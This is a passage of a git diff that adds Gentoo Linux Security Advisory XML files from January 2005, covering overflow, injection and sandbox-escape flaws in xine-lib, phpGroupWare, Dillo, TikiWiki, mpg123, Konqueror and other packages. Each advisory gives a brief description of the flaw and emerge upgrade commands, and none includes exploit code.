+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200501-07">
+  <title>xine-lib: Multiple overflows</title>
+  <synopsis>
+    xine-lib contains multiple overflows potentially allowing execution of
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">xine-lib</product>
+  <announced>January 06, 2005</announced>
+  <revised>January 06, 2005: 01</revised>
+  <bug>74475</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/xine-lib" auto="yes" arch="*">
+      <unaffected range="ge">1_rc8-r1</unaffected>
+      <unaffected range="rge">1_rc6-r1</unaffected>
+      <vulnerable range="lt">1_rc8-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    xine-lib is a multimedia library which can be utilized to create
+    multimedia frontends.
+    </p>
+  </background>
+  <description>
+    <p>
+    Ariel Berkman discovered that xine-lib reads specific input data
+    into an array without checking the input size in demux_aiff.c, making
+    it vulnerable to a buffer overflow (CAN-2004-1300) . iDefense
+    discovered that the PNA_TAG handling code in pnm_get_chunk() does not
+    check if the input size is larger than the buffer size (CAN-2004-1187).
+    iDefense also discovered that in this same function, a negative value
+    could be given to an unsigned variable that specifies the read length
+    of input data (CAN-2004-1188).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could craft a malicious movie or convince a
+    targeted user to connect to a malicious PNM server, which could result
+    in the execution of arbitrary code with the rights of the user running
+    any xine-lib frontend.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All xine-lib users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose media-libs/xine-lib</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1187">CAN-2004-1187</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1188">CAN-2004-1188</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1300">CAN-2004-1300</uri>
+    <uri link="http://www.idefense.com/application/poi/display?id=176&amp;type=vulnerabilities">iDefense Advisory</uri>
+    <uri link="http://www.idefense.com/application/poi/display?id=177&amp;type=vulnerabilities">iDefense Advisory</uri>
+    <uri link="http://tigger.uic.edu/~jlongs2/holes/xine-lib.txt">Ariel Berkman Advisory</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 21 Dec 2004 14:06:44 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 21 Dec 2004 16:57:50 +0000">
+    SeJo
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu,  6 Jan 2005 08:50:09 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200501-08.xml b/xml/htdocs/security/en/glsa/glsa-200501-08.xml
new file mode 100644
index 00000000..9675f84d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200501-08.xml
@@ -0,0 +1,75 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200501-08">
+  <title>phpGroupWare: Various vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in phpGroupWare that could
+    lead to information disclosure or remote compromise.
+  </synopsis>
+  <product type="ebuild">phpgroupware</product>
+  <announced>January 06, 2005</announced>
+  <revised>May 22, 2006: 04</revised>
+  <bug>74487</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/phpgroupware" auto="yes" arch="*">
+      <unaffected range="ge">0.9.16.004</unaffected>
+      <vulnerable range="lt">0.9.16.004</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    phpGroupWare is a web-based suite of group applications including a
+    calendar, todo-list, addressbook, email, wiki, news headlines, and a
+    file manager.
+    </p>
+  </background>
+  <description>
+    <p>
+    Several flaws were discovered in phpGroupWare making it vulnerable to
+    cross-site scripting attacks, SQL injection, and full path disclosure.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    These vulnerabilities could allow an attacker to perform cross-site
+    scripting attacks, execute SQL queries, and disclose the full path of
+    the web directory.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All phpGroupWare users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/phpgroupware-0.9.16.004&quot;</code>
+    <p>
+    Note: Users with the vhosts USE flag set should manually use
+    webapp-config to finalize the update.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://www.securityfocus.com/archive/1/384492">BugTraq Advisory</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1383">CVE-2004-1383</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1384">CVE-2004-1384</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1385">CVE-2004-1385</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu,  6 Jan 2005 08:52:11 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu,  6 Jan 2005 08:52:20 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu,  6 Jan 2005 13:44:43 +0000">
+    lewk
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200501-09.xml b/xml/htdocs/security/en/glsa/glsa-200501-09.xml
new file mode 100644
index 00000000..6555e140
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200501-09.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200501-09">
+  <title>xzgv: Multiple overflows</title>
+  <synopsis>
+    xzgv contains multiple overflows that may lead to the execution of
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">xzgv</product>
+  <announced>January 06, 2005</announced>
+  <revised>January 06, 2005: 01</revised>
+  <bug>74069</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-gfx/xzgv" auto="yes" arch="*">
+      <unaffected range="ge">0.8-r1</unaffected>
+      <vulnerable range="le">0.8</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    xzgv is a picture viewer for X, with a thumbnail-based file
+    selector.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple overflows have been found in the image processing code of
+    xzgv, including an integer overflow in the PRF parsing code
+    (CAN-2004-0994).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to open or browse a
+    specially-crafted image file, potentially resulting in the execution of
+    arbitrary code with the rights of the user running xzgv.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All xzgv users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-gfx/xzgv-0.8-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0994">CAN-2004-0994</uri>
+    <uri link="http://www.idefense.com/application/poi/display?id=160&amp;type=vulnerabilities&amp;flashstatus=true">iDEFENSE Advisory</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Thu,  6 Jan 2005 12:54:06 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu,  6 Jan 2005 12:55:35 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200501-10.xml b/xml/htdocs/security/en/glsa/glsa-200501-10.xml
new file mode 100644
index 00000000..13f342c7
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200501-10.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200501-10">
+  <title>Vilistextum: Buffer overflow vulnerability</title>
+  <synopsis>
+    Vilistextum is vulnerable to a buffer overflow that allows an attacker to
+    execute arbitrary code through the use of a malicious webpage.
+  </synopsis>
+  <product type="ebuild">vilistextum</product>
+  <announced>January 06, 2005</announced>
+  <revised>January 06, 2005: 01</revised>
+  <bug>74694</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-text/vilistextum" auto="yes" arch="*">
+      <unaffected range="ge">2.6.7</unaffected>
+      <vulnerable range="lt">2.6.7</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Vilistextum is an HTML to text converter.
+    </p>
+  </background>
+  <description>
+    <p>
+    Ariel Berkman discovered that Vilistextum unsafely reads data into
+    an array without checking the length. This code vulnerability may lead
+    to a buffer overflow.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could craft a malicious webpage which, when
+    converted, would result in the execution of arbitrary code with the
+    rights of the user running Vilistextum.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Vilistextum users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/vilistextum-2.6.7&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://tigger.uic.edu/~jlongs2/holes/vilistextum.txt">Original Advisory</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1299">CAN-2004-1299</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon,  3 Jan 2005 15:34:01 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue,  4 Jan 2005 11:50:53 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu,  6 Jan 2005 13:22:37 +0000">
+    SeJo
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200501-11.xml b/xml/htdocs/security/en/glsa/glsa-200501-11.xml
new file mode 100644
index 00000000..9abc676e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200501-11.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200501-11">
+  <title>Dillo: Format string vulnerability</title>
+  <synopsis>
+    Dillo is vulnerable to a format string bug, which may result in the
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">Dillo</product>
+  <announced>January 09, 2005</announced>
+  <revised>January 09, 2005: 01</revised>
+  <bug>76665</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-client/dillo" auto="yes" arch="*">
+      <unaffected range="ge">0.8.3-r4</unaffected>
+      <vulnerable range="lt">0.8.3-r4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Dillo is a small and fast multi-platform web browser based on
+    GTK+.
+    </p>
+  </background>
+  <description>
+    <p>
+    Gentoo Linux developer Tavis Ormandy found a format string bug in
+    Dillo's handling of messages in a_Interface_msg().
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could craft a malicious web page which, when accessed
+    using Dillo, would trigger the format string vulnerability and
+    potentially execute arbitrary code with the rights of the user running
+    Dillo.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Dillo users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/dillo-0.8.3-r4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0012">CAN-2005-0012</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri,  7 Jan 2005 15:41:51 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun,  9 Jan 2005 17:56:03 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun,  9 Jan 2005 18:39:04 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200501-12.xml b/xml/htdocs/security/en/glsa/glsa-200501-12.xml
new file mode 100644
index 00000000..430e56bc
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200501-12.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200501-12">
+  <title>TikiWiki: Arbitrary command execution</title>
+  <synopsis>
+    A bug in TikiWiki allows certain users to upload and execute malicious PHP
+    scripts.
+  </synopsis>
+  <product type="ebuild">tikiwiki</product>
+  <announced>January 10, 2005</announced>
+  <revised>May 22, 2006: 03</revised>
+  <bug>75568</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/tikiwiki" auto="yes" arch="*">
+      <unaffected range="ge">1.8.4.1</unaffected>
+      <vulnerable range="lt">1.8.4.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    TikiWiki is a web-based groupware and content management system (CMS),
+    using PHP, ADOdb and Smarty.
+    </p>
+  </background>
+  <description>
+    <p>
+    TikiWiki lacks a check on uploaded images in the Wiki edit page.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A malicious user could run arbitrary commands on the server by
+    uploading and calling a PHP script.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All TikiWiki users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/tikiwiki-1.8.4.1&quot;</code>
+    <p>
+    Note: Users with the vhosts USE flag set should manually use
+    webapp-config to finalize the update.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://tikiwiki.org/tiki-read_article.php?articleId=97">TikiWiki Advisory</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1386">CVE-2004-1386</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri,  7 Jan 2005 09:12:58 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri,  7 Jan 2005 09:13:09 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri,  7 Jan 2005 20:49:48 +0000">
+    vorlon078
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200501-13.xml b/xml/htdocs/security/en/glsa/glsa-200501-13.xml
new file mode 100644
index 00000000..83668be8
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200501-13.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200501-13">
+  <title>pdftohtml: Vulnerabilities in included Xpdf</title>
+  <synopsis>
+    pdftohtml includes vulnerable Xpdf code to handle PDF files, making it
+    vulnerable to execution of arbitrary code upon converting a malicious PDF
+    file.
+  </synopsis>
+  <product type="ebuild">pdftohtml</product>
+  <announced>January 10, 2005</announced>
+  <revised>January 10, 2005: 01</revised>
+  <bug>75200</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-text/pdftohtml" auto="yes" arch="*">
+      <unaffected range="ge">0.36-r2</unaffected>
+      <vulnerable range="lt">0.36-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    pdftohtml is a utility to convert PDF files to HTML or XML
+    formats. It makes use of Xpdf code to decode PDF files.
+    </p>
+  </background>
+  <description>
+    <p>
+    Xpdf is vulnerable to integer overflows, as described in GLSA
+    200412-24.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to convert a specially-crafted PDF
+    file, potentially resulting in the execution of arbitrary code with the
+    rights of the user running pdftohtml.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All pdftohtml users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/pdftohtml-0.36-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200410-20.xml">GLSA 200412-24</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1125">CAN-2004-1125</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Sun,  9 Jan 2005 18:15:51 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun,  9 Jan 2005 18:17:10 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200501-14.xml b/xml/htdocs/security/en/glsa/glsa-200501-14.xml
new file mode 100644
index 00000000..dea99fe1
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200501-14.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200501-14">
+  <title>mpg123: Buffer overflow</title>
+  <synopsis>
+    An attacker may be able to execute arbitrary code by way of specially
+    crafted MP2 or MP3 files.
+  </synopsis>
+  <product type="ebuild">media-sound/mpg123</product>
+  <announced>January 10, 2005</announced>
+  <revised>January 10, 2005: 01</revised>
+  <bug>76862</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-sound/mpg123" auto="yes" arch="*">
+      <unaffected range="ge">0.59s-r9</unaffected>
+      <vulnerable range="lt">0.59s-r9</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    mpg123 is a real-time MPEG audio player.
+    </p>
+  </background>
+  <description>
+    <p>
+    mpg123 improperly parses frame headers in input streams.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By inducing a user to play a malicious file, an attacker may be
+    able to exploit a buffer overflow to execute arbitrary code with the
+    permissions of the user running mpg123.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All mpg123 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-sound/mpg123-0.59s-r9&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0991">CAN-2004-0991</uri>
+    <uri link="http://www.securityfocus.com/archive/1/374433">Bugtraq Announcement</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri,  7 Jan 2005 13:23:00 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat,  8 Jan 2005 19:52:22 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun,  9 Jan 2005 05:27:09 +0000">
+    dmargoli
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200501-15.xml b/xml/htdocs/security/en/glsa/glsa-200501-15.xml
new file mode 100644
index 00000000..8bdb253b
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200501-15.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200501-15">
+  <title>UnRTF: Buffer overflow</title>
+  <synopsis>
+    A buffer overflow in UnRTF allows an attacker to execute arbitrary code by
+    way of a specially crafted RTF file.
+  </synopsis>
+  <product type="ebuild">app-text/unrtf</product>
+  <announced>January 10, 2005</announced>
+  <revised>January 10, 2005: 01</revised>
+  <bug>74480</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-text/unrtf" auto="yes" arch="*">
+      <unaffected range="ge">0.19.3-r1</unaffected>
+      <vulnerable range="lt">0.19.3-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    UnRTF is a utility to convert files in the Rich Text Format into
+    other formats.
+    </p>
+  </background>
+  <description>
+    <p>
+    An unchecked strcat() in unrtf may overflow the bounds of a static
+    buffer.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Using a specially crafted file, possibly delivered by e-mail or
+    over the web, an attacker may execute arbitrary code with the
+    permissions of the user running UnRTF.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All unrtf users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/unrtf-0.19.3-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://tigger.uic.edu/~jlongs2/holes/unrtf.txt">Original Announcement</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat,  8 Jan 2005 19:54:59 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat,  8 Jan 2005 19:55:37 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun,  9 Jan 2005 05:15:13 +0000">
+    dmargoli
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200501-16.xml b/xml/htdocs/security/en/glsa/glsa-200501-16.xml
new file mode 100644
index 00000000..bae40297
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200501-16.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200501-16">
+  <title>Konqueror: Java sandbox vulnerabilities</title>
+  <synopsis>
+    The Java sandbox environment in Konqueror can be bypassed to access
+    arbitrary packages, allowing untrusted Java applets to perform unrestricted
+    actions on the host system.
+  </synopsis>
+  <product type="ebuild">Konqueror, kde, kdelibs</product>
+  <announced>January 11, 2005</announced>
+  <revised>January 12, 2005: 02</revised>
+  <bug>72750</bug>
+  <access>remote</access>
+  <affected>
+    <package name="kde-base/kdelibs" auto="yes" arch="*">
+      <unaffected range="ge">3.3.2</unaffected>
+      <vulnerable range="lt">3.3.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    KDE is a feature-rich graphical desktop environment for Linux and
+    Unix-like Operating Systems. Konqueror is the KDE web browser and file
+    manager.
+    </p>
+  </background>
+  <description>
+    <p>
+    Konqueror contains two errors that allow JavaScript scripts and Java
+    applets to have access to restricted Java classes.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could embed a malicious Java applet in a web page and
+    entice a victim to view it. This applet can then bypass security
+    restrictions and execute any command, or access any file with the
+    rights of the user running Konqueror.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All kdelibs users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose kde-base/kdelibs</code>
+  </resolution>
+  <references>
+    <uri link="http://www.kde.org/info/security/advisory-20041220-1.txt">KDE Security Advisory: Konqueror Java Vulnerability</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1145">CAN 2004-1145</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 21 Dec 2004 20:38:36 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 11 Jan 2005 12:36:53 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200501-17.xml b/xml/htdocs/security/en/glsa/glsa-200501-17.xml
new file mode 100644
index 00000000..f2d5a65a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200501-17.xml
@@ -0,0 +1,81 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200501-17">
+  <title>KPdf, KOffice: More vulnerabilities in included Xpdf</title>
+  <synopsis>
+    KPdf and KOffice both include vulnerable Xpdf code to handle PDF files,
+    making them vulnerable to the execution of arbitrary code if a user is
+    enticed to view a malicious PDF file.
+  </synopsis>
+  <product type="ebuild">kpdf, koffice</product>
+  <announced>January 11, 2005</announced>
+  <revised>January 12, 2005: 02</revised>
+  <bug>75203</bug>
+  <bug>75204</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-office/koffice" auto="yes" arch="*">
+      <unaffected range="ge">1.3.5-r1</unaffected>
+      <vulnerable range="lt">1.3.5-r1</vulnerable>
+    </package>
+    <package name="kde-base/kdegraphics" auto="yes" arch="*">
+      <unaffected range="ge">3.3.2-r1</unaffected>
+      <unaffected range="rge">3.2.3-r3</unaffected>
+      <vulnerable range="lt">3.3.2-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    KPdf is a KDE-based PDF viewer included in the kdegraphics package.
+    KOffice is an integrated office suite for KDE.
+    </p>
+  </background>
+  <description>
+    <p>
+    KPdf and KOffice both include Xpdf code to handle PDF files. Xpdf is
+    vulnerable to multiple new integer overflows, as described in GLSA
+    200412-24.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to open a specially-crafted PDF file,
+    potentially resulting in the execution of arbitrary code with the
+    rights of the user running the affected utility.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All KPdf users should upgrade to the latest version of kdegraphics:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose kde-base/kdegraphics</code>
+    <p>
+    All KOffice users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose app-office/koffice</code>
+  </resolution>
+  <references>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200412-24.xml">GLSA 200412-24</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1125">CAN-2004-1125</uri>
+    <uri link="http://kde.org/info/security/advisory-20041223-1.txt">KDE Security Advisory: kpdf Buffer Overflow Vulnerability</uri>
+    <uri link="http://koffice.kde.org/security/2004_xpdf_integer_overflow_2.php">KOffice XPDF Integer Overflow 2</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Wed,  5 Jan 2005 17:17:02 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 11 Jan 2005 12:37:24 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200501-18.xml b/xml/htdocs/security/en/glsa/glsa-200501-18.xml
new file mode 100644
index 00000000..4be9419a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200501-18.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200501-18">
+  <title>KDE FTP KIOslave: Command injection</title>
+  <synopsis>
+    The FTP KIOslave contains a bug allowing users to execute arbitrary FTP
+    commands.
+  </synopsis>
+  <product type="ebuild">konqueror</product>
+  <announced>January 11, 2005</announced>
+  <revised>January 12, 2005: 02</revised>
+  <bug>73759</bug>
+  <access>remote</access>
+  <affected>
+    <package name="kde-base/kdelibs" auto="yes" arch="*">
+      <unaffected range="ge">3.3.2-r2</unaffected>
+      <unaffected range="rge">3.2.3-r5</unaffected>
+      <vulnerable range="lt">3.3.2-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    KDE is a feature-rich graphical desktop environment for Linux and
+    Unix-like Operating Systems. KDE provided KIOslaves for many protocols
+    in the kdelibs package, one of them being FTP. These are used by KDE
+    applications such as Konqueror.
+    </p>
+  </background>
+  <description>
+    <p>
+    The FTP KIOslave fails to properly parse URL-encoded newline
+    characters.
+    </p>
+  </description>
